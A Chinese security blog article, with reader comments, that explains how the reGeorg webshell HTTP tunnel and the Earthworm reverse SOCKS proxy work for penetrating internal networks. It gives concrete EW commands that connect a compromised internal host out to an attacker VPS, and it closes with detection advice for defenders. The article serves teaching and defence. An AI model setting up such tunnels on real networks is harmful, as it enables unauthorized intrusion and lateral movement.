reGeorg与Earthworm原理详解

10 人参与

在网络安全领域,内网穿透与隧道技术是渗透测试人员手中的一把双刃剑,也是防御者必须深刻理解的攻防焦点。reGeorg和Earthworm,这两个名字时常在攻防演练的报告中交替出现,它们都旨在解决同一个核心问题:如何穿越网络边界,在受限环境中建立一条可控的数据通道。但它们的实现思路,却如同两条分岔的路径,映射出不同的设计哲学与应用场景。

reGeorg:基于Web容器的隐形隧道

reGeorg的精髓在于“隐蔽”与“复用”。它并不试图在目标服务器上打开一个新的、显眼的监听端口,那太容易触发安全警报了。相反,它选择寄生在已有的、合法的Web服务之上。其原理,说白了就是将一个功能复杂的Socks5代理服务器,拆解并伪装成一系列看似正常的HTTP请求与响应。

想象一下,攻击者上传了一个特制的JSP、PHP或ASPX文件到Web目录。这个文件本身就是一个代理处理器。当本地控制端(如reGeorgSocksProxy.py)启动时,它会先通过一个HTTP GET请求与这个Webshell建立“握手”。之后的通信,全部封装在HTTP协议的躯体里。

客户端(攻击机) <-- Socks5协议 --> reGeorg本地脚本 <-- HTTP隧道(封装数据) --> Webshell(靶机) <-- 原始TCP/UDP --> 内网目标

关键在于数据封装。本地脚本将需要发送到内网的Socks5代理流量(例如一个对3389端口的RDP连接请求),进行编码(如Base64)后,放入HTTP POST请求的正文或Cookie中发送。Webshell收到后,解码并还原出原始网络数据包,代为发送到真正的内网目标。目标的响应则沿原路返回,被编码进HTTP响应体,送回给本地脚本。整个过程,在防火墙或IDS看来,只是一连串普通的Web访问,流量混合在大量的网站请求中,极难被基于端口的规则发现。

优势与软肋

这种设计的优势显而易见:它只需要目标服务器有一个Web服务,对网络出口的限制极少,通常80/443端口总是开放的。但它的代价是性能和稳定性。HTTP协议本身的冗余头部、请求-响应模式带来的延迟,使得传输效率不如原生TCP隧道。大量、高频的HTTP请求也可能会在Web日志中留下异常模式,成为溯源分析的线索。

Earthworm:追求效率与灵活性的端口搬运工

如果说reGeorg是“巧劲”,那么Earthworm(EW)则更偏向“直给”。它不满足于寄生,而是直接创建高效的原生Socket连接来转发流量。它的核心功能可以概括为两种模式:端口转发(lcx)Socks5代理(ssocksd/rcsocks/rssocks)。其工具包内不同的小程序(如ew_for_linux64, ew_for_win.exe)各司其职,通过组合实现复杂的网络拓扑。

理解EW,关键在于理解它的“监听(-l)”、“连接(-d/-e/-f/-g)”参数所构建的管道。例如,最经典的反向Socks5代理场景:

  • 在公网VPS上运行 ./ew -s rcsocks -l 1080 -e 8888。这创建了两个端口:1080是服务端口,等待代理客户端(如浏览器配置Socks5)连接;8888是传输端口,等待内网受控主机来连接。
  • 在内网受控主机上运行 ./ew -s rssocks -d [VPS_IP] -e 8888。这台主机主动“出网”连接到VPS的8888端口,建立一条从内到外的控制通道。
  • 此时,任何连接到VPS:1080的Socks5流量,都会通过已建立的这条通道,被“搬运”到内网受控主机上,并由该主机代理访问内网其他资源。

这种“反向连接”模式是EW应对严格出站策略的利器。它避免了在边界防火墙上为受控主机开入站端口。而它的多级代理能力,比如用lcx_slavelcx_listen串联多个节点,则能像搭积木一样穿透层层网络隔离。

效率的代价

EW的效率很高,因为它使用原始Socket,数据包几乎无损转发。但这也带来了更高的能见度。在内网主机上,它会创建新的、独立的进程和监听端口(在ssocksd正向模式下尤为明显),这些异常的网络行为更容易被主机安全软件或网络IDS基于行为模型检测到。它的二进制文件本身也需要上传到目标,存在被杀毒软件查杀的风险。

选择与对抗:场景决定工具

所以,没有绝对更好的工具,只有更适合的场景。在一次真实的红队评估中,攻击者可能会先用reGeorg这类Web隧道进行初步探索,因为它的部署门槛低,隐蔽性在初期更有优势。一旦获得更稳固的立足点,需要传输大文件或进行低延迟交互时(比如操作远程桌面),就可能切换或并联Earthworm隧道来获得更好的体验。

而从蓝队视角看,防御也需分层。针对reGeorg,除了常规的Webshell查杀,更需要关注Web日志中同一源IP在短时间内对同一页面(特别是非常规文件)的高频POST请求,以及请求/响应数据长度异常、含有特定编码模式(如连续Base64参数)的行为。对于Earthworm,主机侧应监控未经授权的进程创建网络监听套接字,网络侧则需警惕内部服务器主动向外网非常用端口发起大量、持续的连接。这两种工具的流行,恰恰提醒我们,真正的内网安全,从来不是靠一道防火墙就能高枕无忧的。

参与讨论

10 条评论
  • 妲己

    这俩工具我都用过,reGeorg打点初期真香,就是传文件慢得要死。

    回复
  • 紫瞳妖猫

    Webshell里藏代理确实隐蔽,但日志一分析就露馅了,我们上次溯源就是这么抓到的。

    回复
  • 萤火虫小猫

    求问下reGeorg支持HTTPS站点吗?上传PHP后握手老失败🤔

    回复
  • 光辉圣骑士

    Earthworm在win10上容易被Defender秒杀,有兄弟试过免杀方案没?

    回复
  • 湘西吊脚楼

    前几天刚用EW搭了三级代理穿透隔离网,配置对了效率确实高。

    回复
  • 流光者

    又是讲隧道的……能不能来点新花样?都看腻了hhh

    回复
  • 柳岸晓风

    感觉reGeorg适合偷摸进,EW适合站稳脚跟后猛干,分工挺合理。

    回复
  • 北极星

    内网主机主动连外网8888端口?那不是明摆着告诉SOC有异常出连?

    回复
  • 嘟嘟球

    楼主说HTTP封装难检测,但我们EDR直接抓POST里Base64大块数据,照样告警。

    回复
  • White Fox

    说白了还是看红蓝对抗节奏,工具没好坏,用错时机才致命。

    回复